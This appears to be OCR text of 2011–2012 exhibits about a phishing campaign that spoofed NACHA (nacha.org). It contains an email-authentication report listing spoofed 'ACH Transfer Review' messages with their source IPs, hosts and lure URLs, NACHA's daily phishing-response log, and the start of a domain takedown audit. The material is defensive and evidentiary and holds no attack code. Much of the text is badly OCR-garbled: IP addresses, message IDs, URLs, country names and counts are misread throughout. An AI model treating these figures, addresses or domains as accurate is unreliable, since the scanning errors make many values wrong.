=750-B859-57BTQUNIFRy YW Az ZmVyIF Jidmil 7= =?is0-BB59-57B Tdw== 7=
<ach@nacha.org>

<000601c4ed4i902ba%aifenTa2d@ngaht>
=7i50-8858-57B7QUNHFRY Y W5E2ZmVyiF Jdmii 7= =7iso-B859-578 7dws=7=
<ach@nacha.org>

Copyright 2011, Authentication Metrics, Inc. All rights reserved.



Message 1D:

Subject:
Front
Message 1Dt
URLs:

1B4.170.147. 14 Subject:
From;

Message 1D

URLz:

Subject:
From:
Message HL
URLs:

Subject
Front
Message
URLs:

202.125.33.114 Subjoct:
From;

Message 1D

URLs:

Subject.
From:
Message 1D:
URLs:

Subject:
From:
Muessage
URLs:

<D00801640aNSadB56ECES1 917 I@eym>

=7150-8868-57B2QUNIFRy YW Sz ZmVyiF dldmll 7= = Ngo-HB5Y-578 Mw=sd=
<ach@nacha.org>

<000301 640123500741 a6238MILS@uev>

B wsag. i o

=75 0-8859-57BPQUNIF Ry Y WE2ZmVy IF didmill 2= =%i50-B850-578 Tdw= =t
<ach@Dnacha,ong»

0077047 0ebS0ehBad65$1 Schbe2@ilbmzkdr>

b AR oL e

= %5 0-BHE0-57BTQUNIFRy YW 82 ZmVyliF Jidmit?= =Ps0-BHNE-678 MdwesT=
<ach@nacha.org»

<0080 c4c305RIH0SZeE2cT ot Eaw™

ey AR ARG

=so-B5G-S TR TQUNIFRY Y WEzZ2mVy R lldoli 7= = Tit-BE9-57B Pows s Y

=ach@nachmong
Q7201648630261 2d70$ 1he0B1 55@yle>

b e nac iy
=7iso-BAEO-SRPQUNIFRy Y WEZ AV ylF Jdmil 7= =20 BBEG-S7B Tdwm= =

<ach@nacha.ong>
<O00701c480ea$ 197892305051 3e74@ugtp>

sy Heeww spchigsg

= 750-8859-57B TQUNIF RyYWE2ZmVyIF didmil 7= =ig0-BB50-5PB1dw= =T
<ach@nachs.org>

<POBB01cARcE1$43bc TUSB20edbE@saqun

Bt fseae, tantiong

=Pi50-8850-67BFQUNIFRy YW ZmVylF didmli 7= =Tis0RA59-57BMhw= ==
<pch@nacha.org®

<QOBLD c4efa2Ehabaq 7S Ta3a52@exsknigl>

I OB SR R K H ]

Copynight 2011, Authontication Malrles, lne, All fights reserved.



Authentication Metrics, Inc.

WA\ Trusted Registry

nacha — nacha.org Domain Summary Report for 2011-09-04 — 2011-09-10

This report identifies verification anomalies either due to spoofed mossages or infrastructure-retated
identity mismatches, or servers not DKM signing.

Scorecard

SPF. A
DKIM: No signing

issues such as seners missing from your SPF record,

verification Rates by Date

patile
o SO0K
i
R0k

9 SR —
\QC‘ \\y
"/)Q'Q Cff"Q ‘OQ§ o
B8 spr Fall, DKIM Fall E GPF Fail, OKIM Pass

(T} &PF Pasgs, DIKIM Fail SPF Pass, DKIM Pass

213,065, 587.53
20068077
§7,196.136.135
LEGEY 3R
60 248,154,163

8070148138

B

9%, 211,22,
59,175, 508.50 e
118

15k 20k 25K 30k

Meagsiage Volume

10k

SPF Fail, DKIM Fass
SPF Pass, DKIM Pass

B spr Fall, DKIM Fall

5!

38k
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Top 20 IP Addresses by Double-Fail Rate

Host
213.165,182.53
204.68.1,77
87.106.136.135
116,0,23.237
50.248.154,163
B0.74.148.135
74.52.40.170
$96.9,136.114
174.133.2'18,58
74.54.31.72
70.86.4.90
206.56.237.21
41,76,208.24
72.26.192.2
203.12,0.162
68,142.202.56
654,34.176.115
85.159.58.210
95,211.22.11
£9.175.68.58

DNS Nama

mail frassallo.com

or.pair.eom

515258885, onlinshome-server.info
tethra.instanthosting.com.au
60-248-154-163. HINET-IP .hinet.net
ariel kreativnedla.ch

sereriB7 managedns.org
sn31.hosting24.com
sener.comdatacenter.net
degra.hostdafrica.com
5u.4.5646,static.theplanet.com
PL3.mbay.net

host1.chirayil.biz

mti-152. make-tracks.com
mta1000,biz.mail.mud.yahoo.com
sanverd.myebiz.com

minihan.info

ns10.honesting.com
host.felweb.us

SBRS  Country
Malta (MT)
0.6 United States (US)
«1.4 Gamnany (DE)
«1.9 Austratia (AL}
-10.0  Taiwan (TW)
-1.4 Switzerland (CH)
-0.4 United States (US)
-3.0 United States (US)
-0.9 United States (US)
-1.4 United States (US)
3.4 United States (US)
-0.7 United States (U8)
-6.8 South Africa (ZA)
0.5 United States (US)
2.3 Australia (AU)
5.3 United States (US)
3.9 United States (US)
-3.8 United Kingdom (GB)
4.0 Netheifands (NL)
7.4 United States (US)

Subject Lines and Headers of Falling Messages

Host
213.165.182.53
208.68.1.77

87.106.136.135

116.0.23.237

Heaaders

No message details available.

Subject:
From:
Message 1D
URLs!

Subject:
From:
Messago 1Dt
URLs:

Subject:
From:
Message 1D:
URLs:

Subject:

ACH Transfer Revew
*ach 01" <ach.01@nacha.org>
<0000 cc51a0$b8292380%6a336aaf@nacha.org>

cafanfonacha,crg

Db v naeha oy

ACH Transfer Review
“ach 01" <ach.01@nacha.org»
<000e01cc5101$87846800$1c2b 107b@nacha.org>

nipfus.atdnfo nachin ony
by e nasha.ory
ACH Transfer Revew

“ach 01" <ach.01@nacha.org>
<000004cc51actic898f00%c165fede@nacha.org>

hitp: s atinfo necha.og

hitp:fiwww. nanhaog

=750-8859-57B PQUNIIFRy Y WBzZmVyIF Jidmii?2= =?is 0-8858-570 7dw=="7=

<001901c4R9d88631c011653/Be4267@prifap>

=7150-8850-578 7QUNIFRY YW5zZmVylF fidmli?= = 7i50-8859-57B8 7dw=="7x

<(01d01c48685551e8610e$5d6eaZbb@npzdsiug>

=710-8850-57B2QUNIIFRy Y W82 ZmVylF Jldmli?= =7/50-8858-5787dw==7=

From: <ach@nacha.org>
Message 1D
URLS! [ytigy /fwwav DAcha. org
Subject:
Frot: <ach@nacha.org>
Message I
URLS pp /v nncha.org
Subject:
Erom: <ach@nacha.org?

Message 1D:
URLs!

Subject:
From:
Message 1D:
URLs:

Subject:

«001801c414a338b37367081a0ccd(7@xmonuyr>

hittp Hwaww nacha.ong

=950-8850-57B 2QUNHF Ry Y W5zZmVyIF Jidmil?= =9i50-8859-578 Pdw==7=

<ach@nacha.org>
<000001c4Be5$1{76140e$0d4d52cb@ezak>

g fvmvow. nacha,org

=750-8859-57B7QUNIFRy YW 52ZmVyiFlidmil?= =7150-8859-57B 7dw==7=

Copyright 2011, Authentication Metrlcs, Inc, Afl rights reserved.

Volume
31,736
18,344

7.660
6,356
5.520
5,025
4,573
4,252
4,169
3,828
3,417
3,177
3,170
3,086
2,842
2,838
2,832
2,786
2,778
2,758



From: <ach@nacha.org>
Message |D: <000201c41e40801b1031a$ceMO96@caincsw>
URLS: hypniiwww.nacha. org

Subject: =9150-8859-57B 2QUNIFRyYW 52ZmVylF Jldmll?= =s0-8853-57B7dw== 7=
From: <ach@nacha.org>
Message (D: <000001 cde37e$1d191131865285084@naytt>
URLS! jitip v nacha. arg

60.248.154,163 Subject: ACH Transfer Review
From: "NACHA" <ach@nacha,org>
Message 1D: <FCC2F0F1,03368CC2@nacha.org>
URLs: wtiprifus.atinfonachaong
htip: . nacha,org
Subject: ACH Transfer Review
From: "NACHA" <ach@nacha.org>
Message 1D: <0389C931.9280C57F @nacha.org>
URLS! payp:/ius.at. infonacha.ory
hitpfiwanr nacha.og
Subject: ACH Transfer Review

From: "NACHA™ <ach@nacha.org>
Message 1D: <23DEFDBE,D3709F 16@nacha.org?

URLS: ity fius, atnfonachs. org
Mipivvernacha.org
80.74.148.135 Subject: =7150-B859-5787QUNIFRYY WS2ZmVy IFlldmll 7= =?is0-8859-57B7dw=="=
From: <ach@nacha.org>
Message |D: <000901c478928438abi5c$18fhebb@kfuepb>
Subject: =750-8850-57B7QUNIFRyY W5z ZmVyIF Jidmll 7= =7i50-8859-57B Pdwe== 7=
From: <ach@natcha.org>
Message ID: <000cD1c486ee$3788 fedbal 80b72@swolwec>

URLS! pipiifvaww. nachia o
Subject: =Ri50-8850-5787QUNIFRyYWSzZmVylFldmii?= =7150-B859-670 Pdwss 7=

From: <ach@nacha,org>
Message |t <000501 6404 76$688deM$4oc5063d@nkvhiokqu>

URLSE: hypuaivaw nacha ong
74.52,40.170 Subject: =7150-8859-5767QUNIFRyYWS2ZmVyIF Jigmile= =7i50-859-678 70w=="7=

From: <ach@nacha.org>
Message {D: <000801c4¢ce00358a762443503ch4cbo@olek>

URLS hitp/ivanenacha, org
Subjest: =780-8658-57B 2QUNIIFRy YW §2ZmVyiFJidmil 7= =7i50-B859-57B 2dw=="7=
From: <ach@nacha.org>
Message 1D: <000b01c4020a$227108bd$74ddic82@meehdnlg>
URLS! pip:iiwvny.nacha, oty
Subject: =75 0-8859-57B2QUNIFRy Y W52 ZmVylFlldmli?= =7i50-8858-5?B 7dw=="7=

From: <ach@nacha.org>
Message [Dn <000501c45006$e06b5a45$00975a87 @lzntyjx>

URLS! ytip:/Awwew ndcha org
96.9.136.114 Subject: ACH Transfer Review

From: "ach 01" <ach.01@nacha.org>
Message 1D: <000e01ced18c$91 37¢100$a0053b28@nacha.org>

URLSs? hptpi/xiy-8ga.de
fipifvenw.nacha o
Subject: ACH Transfer Review

From: “ach 01" <ach.01@nacha.org>
Message D! <000e01cc51a55d44a6200$15724776@nacha.ory>

URLs! hiym/fus. atinfo.nacha.ory
Subject: ACH Transfer Revew

From: “ach 01" <ach.01@nacha.org>
Message |D: <000e01cc518c$1 226780892370 1b8@nacha. org>

URLS! hittg:/ius. al nionacha.org
hitp:/www.nacha, org

Copyright 2011, Authentication Metrics, Inc. Al rights reserved.



174.133.218.58 Subject: =75 0-8850-5787QUNIFRY YW 52ZmVyiFJidmil?= =7is0-8859-57B7dw==7=
From: <achi@nacha.org>
Message |D: <B00501c433a6$0f12930635a9de43b@boarlpjl>

URLS: Wiy fivwew. nachon. ory

Subject: =7150-8859-57B 2QUNIFRyY YW 5zZmVylF didmli?= =7i50-8859-57B 2 dws==7=
From: <ach@nacha.org>
Message 1D <000d01c46616$060adead$68adt71@yikn>
URLS: nitpfivanae nacha.ory

Subject: =7150-8859-578 2QUNIIFRy YW S2ZmVyIF didmll 2= =7is0-8859-5787dw==7=
From: <ach@nacha.org>
Message {Dn <D00401c4h2¢i$0e2b0092483{2b41 8@atixsg>

URLS! hty: /v, nacha, ofg
74.54.31.72 Subject: =7150-8850-5782QUNIFRyYW 5z ZmVyiFJldmil7= =750-8859-578 Tdw==?=

Frony: <ach@nacha.org>
Message 1D: D000 cA7d7dSbealc22456eBBI345@abej>

URLS! pupntwww nache. org
Subject: =215 0-8858-57B 7 QUNIFRy Y W52 ZmVyIF Jidmii?= =7is0-8859-57B2dw==7=
Fram: <ach@nache.org>
Massage 1D: <00100104c¢9e$5843111d55ba33ec@ner>
URLS! ity fwaww . nacha, o
Subject =7i50-8859-57B7QUNIFRy Y W52 ZmVyIF Jidmli?= =750-8859-57B2dw==7=
From: <ach@nacha.org>
Message 1D: <DOO101c4eb52$d36a026e$11100cc5@ipwiln>

URLS! piip: Ay nioha.org

70.86.4.90 Subject: ACH Transfer Review
Erom: “ach 01" <ach.01@nacha.crg>
Message 1Dt £000e016c518c$d398900$5d6 1 b3b6@nacha. org>
URLS: hitpi//G8u.mb.tw

mailtoinfo@nacha.ony

Subject: ACH Transfer Review
From: "ach 01" <ach.01@nacha.org>
Message {D: <000e01c¢539c$abd88880$8438533d@nacha.org>

URLS: ttp:ifkikkss.go.hk
mailtorinfo@gnacha.olg
Subject: ACH Transfer Review
From: "ach 01" <ach.01@nacha.org>
Vessage 1D: <000e01cc520aPed0030008253a 7eb2@nacha. org>
URLS: i fkkkss, go.k
ragilto:infogdnacha.org
206.55.237.24 Subject: =?is0-8859-52B7QUNIIFRy YWbzZmVyIFJidimli?= =%80-8850-57B2dw=="=
From: <ach@nacha.org>
Message 1D 008301 c4cata$27799461353c4887a5@kdtxul>
Subject: =715 0-BR58-57B 2PQUNIFRYYW5zZmVy FJidmil?= =7i50-B858-57B 27dw=="7=
From: <ach@nacha.org>
Msssage D) <00140164303558d8aBbic$a26MdUSE@Kjmwan>

URLS! hyip:iwwa.nacha,ofty
Subject: =7i50-8858-57B?QUNIFRY YW S2ZmVyIF Jidmll 7= =7i50-8650-578 Tdw==7=
From: <ach@nacha,org>
Message (D! <QU2001 cA878e501560063d64fe2c 6@wx vkrdf>
URLS! hip vy nachs, oy
41.76.208.24 Subject: =2i60-8859-57B2QUNIFRyY Y W62ZmVyIF Jidmll?= =7?150-8858-878 7dw==7=

From: <ach@nacha.org>
Message 1D <000001¢ 4320357 2dc6e638BdBanl@knayf>

URLS: s atnfo.nacha, org
BrEp /AW DAGHEaOrg
Subject: =7i 50-8850-5782QUNIIFRyYW52ZmVyIF didmil?= = 7i50-8859-578 2dw==7=

From: <ach@nacha.org>
Message |D: <000001c4555455da8ealdd$40429d20@wzlutv>

URLS! hirp:ffus. at.infoaache.ong

st nacha, oty

Copytight 2011, Authentication Metrics, Inc. All rights reserved.



72.26.182.2

203.12.0,152

68.142.202.96

64.34.176,115

Subject:
From:
Message 1D:
URLs:

Subject:
From!
Message D!
URLs:

Subject:
From:
Message 10:
URLs:

Subject:
From:
Message 1D:
URLs

Subject:
From:
Message 10:
URLs:

Subject:
From:
Message 1D
URLs:

Subject:
From:
Message 1D
URLs:

Subject.
From:
Message 1D:
URLs:

Subject:
From:
Message 1D
URLsg:

Subject:
From;
Message 1D:
URLs:

Subject:
From:
Message ID:
URLs:

Subject:
Fram:
Message [0:
URLs:

Subject:
From:
Message 10t
URLs:

=7is0-8850-57B27QUNIFRY YW 5zZmVylFJidmil 2= =%i50-8859-578 7dw== K&
<ach@nacha.org>
<000001c42058%fed47562%af625e 1d@sfgeabpv

htipifus. atinfoun

hitpefiwaesnachaorg

=7130-8858-576 7QUNIFRy YW52ZmVyIF Jidmil?= =?s0-8858-578 2dw=="7=
<ach@nacha.org>
<000601c42ed1$73a83a065204b80BE Vs>

httpufvaww nacha.org

=7i50-8859-57B 7QUNIIFRY YW S2ZmVylF Jldmll 7= =7i50-8868-67B 7dw==7=
<achi@nacha, org>

<000c01c4484a%ecd21bb4ded71ad@atu>

Bilp /A nachs.org

=715 0-8850-57B2QUNIIFRYYWS2ZmvyIF Sidmll?= =7i50-88568-57B 7dw=="2=
<ach@nacha.org>
<000589718,201103091056320@nacha.org>

httpiirvam.nacha, org
=7i50-8858-57B 2QUNIIFRY Y WS2ZmVyIF didmil?= =?iso-8850-57B 7dwa= 7=

<ach@nacha.org>
<000101c48405%113083cb$5072e34d@ixunity>

it fweaw nacheerg

=7]50-8859-578 2QUNIFRYY W Sz2ZmVylF Jidmil 7= =s0-8859-578 Tdw==7=
<ach@nacha,org>

<(000801e433babc3b037d5$97a0647c@pygtzomm:

Hlip AW

2,01

=750-8859-578 2QUNIIFRy Y W52ZmVyiF Jidmil?= =7150-8859-57B?dw=="7=
<ach@nacha.org>
<(00001646f3b503167776%0aaa07hi@epetvo>

hitrod iwww.nacha.org
ACH Transler Review

“ach 01" <ach.01@nacha.org»
<000e01 ccB19cSaltdbe80$6812b1bé@nacha org>

hitpifos, at info.nashu.org
hitpfiwww.nacha.ory
ACH Transfer Review

*ach 01" <ach.01@nacha.org>
<000e01cc519e$d4932100$ac93d475@nacha.org>

hipuius.atinfonacha.og
hitp/haww nacha. g
ACH Transfer Revew

Yach 01" <ach.01@nacha.org>
<000e01cc519chde51d4008a7eabab8@nacha.org>

httg s at nkroacha.ong

PR Ay nache.org

ACH Transfer Review

“ach 01" <ach.0i@nacha.org>
<D00e01cch19c$78211000866ccaabf@nacha.org>
hitp/7usg. at.infa.nacha.ory

hipifsawnacha.ong

ACH Transfer Review

tach 01" <ach.01@nacha.org>
<000e01cc5106$724828808a133741h@nacha, org>

it fus. st iofo,nachi.ong
htip v nacha.ong
ACH Transfer Review

“ach 01" <ach,01@nacha.org>
<000e01cc5100$e 109188084 14c305(@nacha.org>

it xey-8ya.de
hitpiwww. nacha.org

Copyright 2011, Authentication Metrics, inc. All tights reserved.



85.159.59.219

95,211.22.11

69.175.58.58

Subject:
From:
Message (D:
URLs:

Subject:
From:
Message ID:

Subject:
From:
Message 1D:
URLs:

Subjoct:
From:
Message 1D:
URLs:

Subject:
From:
Message 1D:
URLs:

Subject:
From:
Message 10
URLs:

Subject:
From:
Message 1D:
URLs:

Subject:
From:
Message 1Dt
URLs:

Subject:
From:
Message 1D:
URLs:

=2i50-8658-578 TQUNIFRY YW 522ZmVylF Jidmii?= =7is0-8859-57B2dw=="7=
<ach@nacha.org>

<000c01c44061$86d289215c55afe37@wyhbyed>

it A nacha, org

=7i50-B859-57B2QUNIFRYYW52ZmVyIF didmii?= =7i50-8658-57B7dw=="1=
<ach@nacha.org>

<D01401c4f48c50bac84 7450207 bt @chajxe>
=7i50-8850-5282QUNIFRYYWSz2ZmVy IF ldmli?= =% 50-8858-57B Tdw==7=
<ach@nacha, org>

<000301640575$2a363d88§5a3444 3@k fkbitp>

hitp:fiwernnacha.org
=715 0-8859-57B TQUNIFRyYWS2ZmVy F dldmil?= =750-8858-5787dw== 7=

<ach@nacha.org>
<002201c4fc448a405a183580488deb@ude>

it fhweew hacha ong

=75 0-8858-57B PQUNIFRYYWBzZmVyiF Jldmil 7= =7150-8859-57B Pdw==0x=
<ach@nacha.org>

<002801¢c4B8a{dSach28210$1f791606@wpo>

Wk venw nacha. org

=7i50-8859-57B7QUNIFRY YW52ZmVylF didmil?= =7i50-8859-578 7dw== 7=
<agch@nacha.org>

<000501 c487ab$51a023a$4863640b@ghagw>

hitpd fvaww.nacha, org
=75 0-8859-57B7QUNIIFRy YWSzZmVyIFJidmlii 7= =?is 0-8859-57B20w=="7=

<ach@nacha.org>
<001401640e77$c8te2d80$dBabLOGIE dom>

tpifwwaw nacha. org
=9i50-8859-57B7QUNIFRYYW5E2ZmVylF Jidmil 7= =7i50-8868-578 Tdw==7=

<ach@nacha.org>
<001b01c4094e521817736$21e31196@kmael>

M vaww. nincha, org

=9i50-8850-57B TQUNIFRyY W 52ZmVylF Jidmli?= =?50-8859-57B7dw=="7=
<ach@nacha.org>

<000d01 c4aee?$353d38fah$aaredd0n@arasace>

ftip:fiweav.nacha. org

Copyright 2011, Authentication Metrlcs, Inc. Al rights reserved.



EXHIBIT C.



NACHA-The Electronic Payments Association
e-mail phishing log FY 2011 through to 3-5-12 Statistics and actions taken
Number of Calls Number of e-mail inquiries: info@nacha.org
Date/time of occurance Actions Taken Other follow up/results |evolution of e-mail style Day 1 Day 2 Day 3 Day 4 Day 5 Day 1 Day 2 Day 3 Day 4 Day 5
Auto message on main number; Member and
ACH Operators communications distributed; Subject line: Variations "ACH transfer
notice posted under News Headlines on rejected", "ACH payment cancelled"," Your
February 22, 2011 homepage of www.nacha.org ACH transaction"
Auto message on main number; Member and
ACH Operators communications distributed;
notice posted under News Headlines on
March 11, 2011 homepage of www.nacha.org
language references canceled by the
"Electronic Payment Association" with our
address and main number at the bottom of
Activities above + FFEIC link on phishing added the e-mail, less sophisticated. Includes
to website, and add link to same under What's "please click here to view report" hyperlink
March 29, 2011 7:27am New @ NACHA? to execute.
voice mail system
overwhelmed, TDOS,
Auto message on main number; referred callers |initiate new phone
April 5,2011 to exisiting notice on www.nacha.org system search/options
Created new e-mail account
"abuse@nacha.org"; auto message on main
number; Members Member and ACH Operator
communication distributed to direct fraudelent
emails to abuse@nacha.org; notice posted autofeed established for
under News Headlines on homepage of quicker notification to
www.nacha.org instructing to direct fraudelent |security vendor for
April 22,2011 11:00am emails to abuse@nacha.org malware takedown 560
Auto message on main number; exisiting
website notice and callers instructed to send
April 25 2011 10:30am fraudulent emails to abuse@nacha.org 914 385
MBS required to more frequently put on Night
recorded message mode to address other office
needs/breaks; Auto message on main number;
exisiting wesbite notice and callers instructed to
April 27,2011 send fraudulent emails to abuse@nacha.org 484
Activities above + reference to phishing email
April 28, 2011 remains on NACHA home landing page 547 |(29th) 295
Canceled transaction template used for mail
merge includes bogus Transaction ID,
Reason of Rejection and Transaction Report
with an executable pdf that has a unique
Activities above + added temp help for phone report number that is consistent with the
May 3, 2011 inquiries Transaction ID number generated. 715




May 4, 2011 (5:47 am) 1,169 (sth) 405 (6th) 169 (oth) 155 (10th) 96
NACHA logo and trademark added to body
May 12, 2011 (6:26 am) of email 653
May 13, 2011 528
Activities above + escalate outreach-FS-
May 16, 2011 (5:02 am & 8:02 am) ISAC,DOJ, SS, 2,130
Activities above + review additional tech abuse @nacha .org includes over 8,900
May 17, 2011 6:18am options (such Trusted E-mail registry) reported as of 11:00am today 1,342|(18th) 644 (19th) 348 (20th) 211
"about us" language added to bottom of e-
mail-3 variations-use of old text from
May 24, 2011 (11:27 am) Activities above + website 315
May 25, 2011 (3:09 am & 6:13 am) 1,701
May 26, 2011 (6:47 am & 9:41 am) 2,284 (27th) 493
These 2 emails include language directing
receipients to contact info@nacha.org with
comments or questions. Approx 200-300 per
May 31, 2011 (1:55 am & 9:28 am) day. 1,560|(6/1) 637 (6/2) 302 (6/3) 172
June 6 - 10, 2011 No Phishing Email !!! No Phishing Email !!! (6th) 189  |(7th) 95 (8th) 93 (9th) 62 (10th) 56
June 13 - 17, 2011 2 Phishing Email on 16th 3 phishing email 17th (13th) 73 |(14th)43  |(15th)74  |(16th) 998  |(17th) 708 (16th) 2818 |(17th) 3424
June 20, 2011 6 Phishing Emails reported 1,110/ (21st) 449 4590 |(21st) 1325 (22th) 81
June 23, 2011 Several reported (23rd) 997  |(24th) 158 (23rd) 7391 |(24th) 2492
June 27, 2011 Several reported (27th) 2392 (27th) 3398
June 28, 2011 Several reported (28th) 657 (28th) 2308
June 29,2011 Several reported (29th) 669 |(30th) 380 |(7/1) 91 (29th) 1388 |(30th) 1889  |(7/1) 162
July 5, 2011 No Phishing Email 1! (5th) 129 |(6th) 59 (7th) 637 |(8th) 178 (5th) 292 (6th) 41 (7th) 439 (8th) 219
July 11, 2011 No Phishing Email 1! (11th) 106 |(12th)66  |(13th)64  |(14th)51  |(15th) 48 (11th) 112 |(12th) 72 (13th) 21 (14th) 9 (15th) 5
July 18, 2011 Phishing Email reported 7/19/11 (18th) 48 [(19th) 540 |(20th) 260 |(21th)93  |(22th) 43 (18th) 38 (19th) 848 (20th) 81 (21th) 63 (22th) 32
July 25, 2011 Phishing Email reported 7/27/11 (25th) 57 |(26th) 98  |(27th)174  |(28th)98  |(29th) 49 (25th) 150 |(26th) 23 (27th)161 (28th) 47 (29th) 396
August. 5, 2011 Phishing Email reported 8/2/11 (1st) 396 |(2nd) 455 |(3rd)181 | (4th) 60 (5th) 45 (1st) 45 (2nd) 289 (3rd) 28 (4th) 9 (5th) 27
August 12, 2011 Phishing Email reported 8/8 & 12/11 (8th) 209  |(9th) 111 (10th) 193 (11th) 59 (12th) 517 (8th) 475 (9th) 75 (10th) 133 (11th) 46 (12th) 2774
August 19,2011 Phishing Emails reported 8/16 & 19/11 (15th) 166 |(16th) 238 |(17th)43  |(18th)63  |(19th) 183 ||(15th)524  |(16th) 523  |(17th)48 (18th) 68 (19th) 330
August 22, 2011 Phishing Emails reported 8/24, 25 & 26th (22st)68  |(23nd)53  |(24rd)1345 |(25th)1548 |(26th) 1001 ||(22st) 88 (23nd) 39 (24rd) 47 (25th)1130  |(26th) 663
August 29, 2011 Phishing Emails reported 8/30,31, 9/1, 9/2 true NACHA employee name referenced (29th) 452 [(30th) 2539 |(31st) 2208 |9/1)770  |(9/2) 416 (29th) 97 (30th) 1033 |(31st) 84 (9/1) 57 (9/2) 316
September 6, 2011 Phishing Emails reported daily true NACHA employee name referenced closed (6th 915 (7th) 481 (8th) 414 (9th) 264 closed (6th) 1259 (7th) 2737 (8th) 515 (9th) 217
September 12, 2011 Phishing Emails reported each w/variations #'s low only 2 pp on phones (12th) 211 |(13th) 1266 |(14th)357 (15th) 220 |(16th) 310 (12th) (6638 |(13th) 718 (14th) 257 (15th) 571 (16th) 1669
September 19, 2011 Phishing Emails rptd Mon-Thurs non Friday :)  |Cleared 17,484 email over weekend (19th) 465 |(20th) 338 |(21th) 267  |(22nd) 530 |(23rd)201 (19th) 886 (20th) 1185 (21st) 3205 (22nd) 258 (23rd) 137
September 26, 2011 Phishing Emails reported daily (26th) 944 [(27th) 926 |(28th) 610  |(29th) 405 |(30th) 410 ||(26th) 187  |(27th) 28 (28th) 63 (29th) 192 |(30th) 16,239
October 3, 2011 Phishing Emails reported daily (3rd) 244  [(4th)333  |(5th)613  |(6th) 158  |(7th) 636 (3th) 2716 |(4th) 1588 (5th) 2599 (6th) 3889 |(7th) 3623
October 10,2011 Phishing Emails reported daily (10th)449  [(11th) 632 |(12th) 804 |(13th) 883 |(14th)303 ||(10th) 1143 |(11th) 107 (12th) 58 (13th) 22 (14th) 53
added "phishing and
fraud resource" to
home page of
October 17, 2011 Phishing Emails reported daily www.nacha.org (17th) 128 |(18th) 431 |(19th)590 |(20th)895 |(21st)332  |[(17th)825  |(18th) 56 (19th)1182  |(20th)2609  |(21st) 117
October 24, 2011 Phishing Emails reported daily (24th)1433 [(25th)1006 |(26th)932  |(27th)112 |(28th)963  ||(24th)2449  |(25th) 3794  |(26th)4440  |(27th)93 (28th)2573
October 31, 2011 Phishing Emails reported 10/32 & Nov. 2 (31st) 704 |(11/1)386 |(2nd) 183  |(3rd) 126  |(4th) 87 (31st) 53 11/1)1982  |(2nd) 114 (3rd) 194 (4th) 257
Nov. 7, 2011 Phishing Email Rptd 11/10 & 11/11 (7th) 123 [(8th)126  |(9th)124  |(10th) 1006 |(11th)306 ||(7th) 377 (8th) 364 (9th) 1542 (10th) 35116 |(11th) 986
Email rptd included language directing
receipients to contact info@nacha.org with
Phones were on Night  [comments or questions. Approx 93k emails
Nov. 14, 2011 Phishing Email rptd daily Mode for 4 hours in the info box on 16th. . (14th) 559 |(15th) 997 |(16th) 1140 |(17th)357 |(18th)1002 ||(14th) 6,181 |(15th)40,016 (16th)52,663 |(17th)667  |(18th)15
Nov. 21, 2011 Phishing Email rptd daily ( 9am - 1pm) (21st) 692 |(22nd) 597 |(23rd) 716 (21st) 6806  |(22nd) 3665  |(23rd) 15,380
Nov. 28, 2011 Phishing emails rptd daily (28th) 1412 |(29) 503 (30)1249  [(12/1)616 |(12/2)271 ||(28th)350  [(29) 14,891  |(30) 243 (12/1)1244  [(12/2) 64
Dec. 5, 2011 Phishing Emails reported daily (5th)178  |(6th)250  |(7th)176  |(8th)128 |(9th) 152 ||(5th) 184 (6th) 943 (7th) 1066 (8th) 315 (9th) 2032
Dec. 12, 2011 Phishing Emails reported daily (12th) 373 [(13th)293 |(14th)383 |(15th) 373 |(16th) 409 |[(12th) 1723 |(13) 6202 (14th) 22,626 |(15th) 1379 |(16th) 13,848
Dec. 19, 2011 Phishing emails rptd daily (19) 496 (20) 197 (21) 196 (22)93 (23)15 (19) 310 (20) 115 (21) 86 (22) 218 (23) 404
Dec. 26 2011 Phishing email rptd daily but Holiday slow Call will increase after Holiday closed (27) 112 (28) 20 (29) 32 (30) 26 closed (27) 262 (28) 90 (29) 54 (30) 25
Jan. 2, 2012 No Phishing Email !!! Call regarding old dated emails closed (3rd) 51 (4th) 66 (5th68 (6th) 58 closed (3rd) 168 (4th) 81 (5th) 52 (6th) 53
Jan. 9, 2012 Phishing Emails reported with past dates (9th) 61 (10th) 95 (11th) 59 (12th) 46 (13th) 31 (9th) 127 (10th) 681 (11th) 80 (12th) 61 (13th) 56




Jan. 16, 2012 Past and present emails reprtd in low no's (16) closed |(17) 62 (18) 72 (19) 47 (20) 67 (16) closed  |(17)192 (18) 47 (19) 54 (20) 41
Customer service call predominately from
Law offices and Insurance agencies
Jan. 23, 2012 Phishing Emails reported 24th - 27th regarding phishing (23rd) 180 |(24th) 119 |(25th) 113 |(26th) 304 |(27th) 272 |[(23rd) 82  |(24th) 69 (25th) 67 (26th) 23,714 |(27th) 1436
Seems that majority of bounced emails are English Chinese (31) |Chinese (2/1) [French German  (2/3)
Jan. 30, 2012 Phishing emails rptd daily coming from a different country each day. |(30) 348 (31) 163 (2/1) 84 (2/2) 67 (2/3) 139 (30) 888 7799 6926 (2/2) 6779 2136
Feb. 6, Phishing emails rptd daily Friday high volume email & calls (6) 89 (7)123 (8) 365 (9) 87 (10) 756 (6) 459 (7) 6376 (8) 1249 (9) 129 (10) 6445
Feb. 13, 2012 Phishing emails rptd daily (13)234  [(14)336  |(15) 169 (16)111  [(17)125 (13)9807  |(14)10,736  |(15) 241 (16) 6618 (17) 667
Feb. 20, 2012 Phishing emails rptd daily Phone on Night mode wPhishing message  [(20) closed |(21) 196 (22) 224 (23) 72 (23) 69 (20) closed (21) 271 (22) 95 (23) 87 (24) 79
Feb. 27,2012 Phishing emails rptd daily Night opt. plays recording re:emails (27) 294 (28) 148 (29) 65 (1) 107 (2) 109 (27) 28 (28) 215 (29) 48 (1) 74 (2) 56
March 5, 2012 Phishing emails from past dates Off night mode (3/5) 66 (3/6) 66 (3/7) 82 (3/8) 44 (3/9) 48 (3/5) 90 (3/6) 60 (3/7) 56 (3/8)70 (3/9) 64




EXHIBIT D.



[soc 1D Bufi itiati ttack Typ P | NACHA TAKEDOWN AUDIT Registrar Geo DuratiomBillabld Notes
72333 |http://wifi-hardware.info 2/22/2011 11:49 | 2/22/2011 12:49 phish 4.202.189.170 oDaddy.com Inc. (R171-LRMS) ys 0.99 1
72337|htty star-tu-o-ticket.info 2/22/2011 12:07 | 2/22/2011 13:17 4.202.189.170 oDaddy.com Inc. (R171-LRMS) ys 1.17
76874|htt; myach-privacy-c.info 4/14/2011 14:18 | 4/14/2011 16:26 mal 4.202.189.170 oDaddy.com Inc. (R171-LRMS) ys 2.14
76875 |htty ‘adgga.co.cc/forum.php?tp=65d76161f0fc4594 4/14/2011 14:26 | 4/14/2011 20:43 mal 95.28.10.31 | 0.CC RU 6.29 2
